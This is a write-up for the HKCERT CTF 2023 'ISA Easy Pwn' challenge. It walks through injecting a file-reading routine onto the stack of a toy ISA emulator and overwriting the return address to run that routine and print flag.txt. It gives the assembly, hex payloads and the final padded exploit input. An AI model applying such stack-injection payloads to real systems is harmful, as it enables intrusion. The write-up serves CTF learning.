# HKCERT CTF 2023: ISA Easy Pwn ## Prerequisites 1. Understanding of the task "ISA Baby Pwn" 2. Understanding of ISA Instructions ## Part 1: How do we read from a file? It is easily observed that for all cases of `SYSCALL`, the value of `R8` is never `3`, which is the required value to read from a file. In ISA Baby Pwn, the solution involved moving the Program Counter `PC` through the use of `RET` function, which replaces `PC` with the value at the top of stack. ::: info Observation 1: `PC` can be manipulated to anywhere through replacing the value at top of stack, and the value at top of stack can be replaced by the input. ::: ::: info Observation 2: The value at top of stack can be replaced by anything, including a position within the stack. ::: By changing `PC` to a position within the stack, we are able to embed code into the input, insert it into the stack, and have the program run it by moving `PC` there. Such code inserted into the stack can involve reading a file. ## Part 2: What code can read a file? The following code is taken from ISA Baby Pwn lines 2-33, and is the process needed to read from file `flag.txt`. ``` PUSH FP; MOV FP, SP; SUB SP, 112; MOV R1, SP; MOV SP, FP; SUB SP, 0; PUSH 0x0; PUSH 0x7478742e; PUSH 0x67616c66; MOV SP, R1; MOV R1, FP; SUB R1, 12; MOV R2, FP; SUB R2, 112; MOV R3, 100; MOV R8, 3; SYSCALL; MOV R3, R8; XOR R2, R1; XOR R1, R2; XOR R2, R1; XOR R3, R2; XOR R2, R3; XOR R3, R2; MOV R8, 1; SYSCALL; MOV R4, R1; MOV R1, 0; MOV R8, 2; SYSCALL; ADD SP, 112; POP FP; ``` So now we convert this program into hexadecimal. Through any Text to Hexadecimal tool, we obtain: ``` 505553482046503b0a4d4f562046502c2053503b0a5355422053502c203131323b0a4d4f562052312c2053503b0a4d4f562053502c2046503b0a5355422053502c20303b0a50555348203078303b0a5055534820307837343738373432653b0a5055534820307836373631366336363b0a4d4f562053502c2052313b0a4d4f562052312c2046503b0a5355422052312c2031323b0a4d4f562052322c2046503b0a5355422052322c203131323b0a4d4f562052332c203130303b0a4d4f562052382c20333b0a53595343414c4c3b0a4d4f562052332c2052383b0a584f522052322c2052313b0a584f522052312c2052323b0a584f522052322c2052313b0a584f522052332c2052323b0a584f522052322c2052333b0a584f522052332c2052323b0a4d4f562052382c20313b0a53595343414c4c3b0a4d4f562052342c2052313b0a4d4f562052312c20303b0a4d4f562052382c20323b0a53595343414c4c3b0a4144442053502c203131323b0a504f502046503b0a ``` Are we done? Running the code in the Debug Playground and putting that as input by hex, we can see this: ![Screenshot 2023-11-12 at 11.52.43 PM](https://hackmd.io/_uploads/Hk5lSdR76.png) We have to insert the beginning position of the code on the line `ffffffec` to redirect the program counter to the stack and execute our code. (i.e. the line `ffffffec` should contain the data `fffffee8`) It seems like the original program is too long and does not allow us to put in our redirection. (It actually even exceeds the input length limit) ## Part 3: How can we shorten the code? If you carefully read the code provided, there are actually many redundant actions, or methods to delete lines and achieve the same result. One such example is the code doing: Move `X`, assign `Y` as `X`, then moving `X` back to its original position. This can be simplified to: Assign `Y` as `X`, then moving `Y`. ::: info Run the code in debug mode step-by-step and observe the variables, seeing if you can have the same effect with less commands. ::: :::spoiler Our Optimised Code ``` PUSH FP MOV FP, SP PUSH 0x0 PUSH 0x7478742e PUSH 0x67616c66 MOV R1, SP SUB SP, 64 MOV R2, SP MOV R3, 100 MOV R8, 3 SYSCALL MOV R1, R2 MOV R2, R8 MOV R8, 1 SYSCALL ``` ::: If we convert this to hexadecimal, we get: ``` 505553482046500d0a4d4f562046502c2053500d0a50555348203078300d0a5055534820307837343738373432650d0a5055534820307836373631366336360d0a4d4f562052312c2053500d0a5355422053502c2036340d0a4d4f562052322c2053500d0a4d4f562052332c203130300d0a4d4f562052382c20330d0a53595343414c4c0d0a4d4f562052312c2052320d0a4d4f562052322c2052380d0a4d4f562052382c20310d0a53595343414c4c0a0 ``` When we put this as input into the program again, we get: ![Screenshot 2023-11-13 at 12.06.06 AM](https://hackmd.io/_uploads/S1Kfuu07T.png) This means the input is short enough that we are able to embed the redirection into byte `ffffffec`. ## Part 4: Embedding the correct redirection Now we fill in the correct amount of zeroes before typing `fffffee8` so that it is positioned correctly. ::: warning Bytes are added in from right to left, so the correct order would be actually `e8feffff` instead. ::: :::spoiler Our Input to the Code ``` 505553482046500d0a4d4f562046502c2053500d0a50555348203078300d0a5055534820307837343738373432650d0a5055534820307836373631366336360d0a4d4f562052312c2053500d0a5355422053502c2036340d0a4d4f562052322c2053500d0a4d4f562052332c203130300d0a4d4f562052382c20330d0a53595343414c4c0d0a4d4f562052312c2052320d0a4d4f562052322c2052380d0a4d4f562052382c20310d0a53595343414c4c0a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e8feffff00 ``` ::: If you type the correct amount of zeroes, you should get something like this: ![Screenshot 2023-11-13 at 12.14.41 AM](https://hackmd.io/_uploads/rkrb5uAQ6.png) After running `RET`, PC jumps to `fffffee8`, and starts running the code in stack. ![Screenshot 2023-11-13 at 12.15.16 AM](https://hackmd.io/_uploads/Bk-L9_C7a.png) When the code finishes running, the flag can be found at the bottom right of the terminal. ![Screenshot 2023-11-13 at 12.16.48 AM](https://hackmd.io/_uploads/SJX59uAmT.png)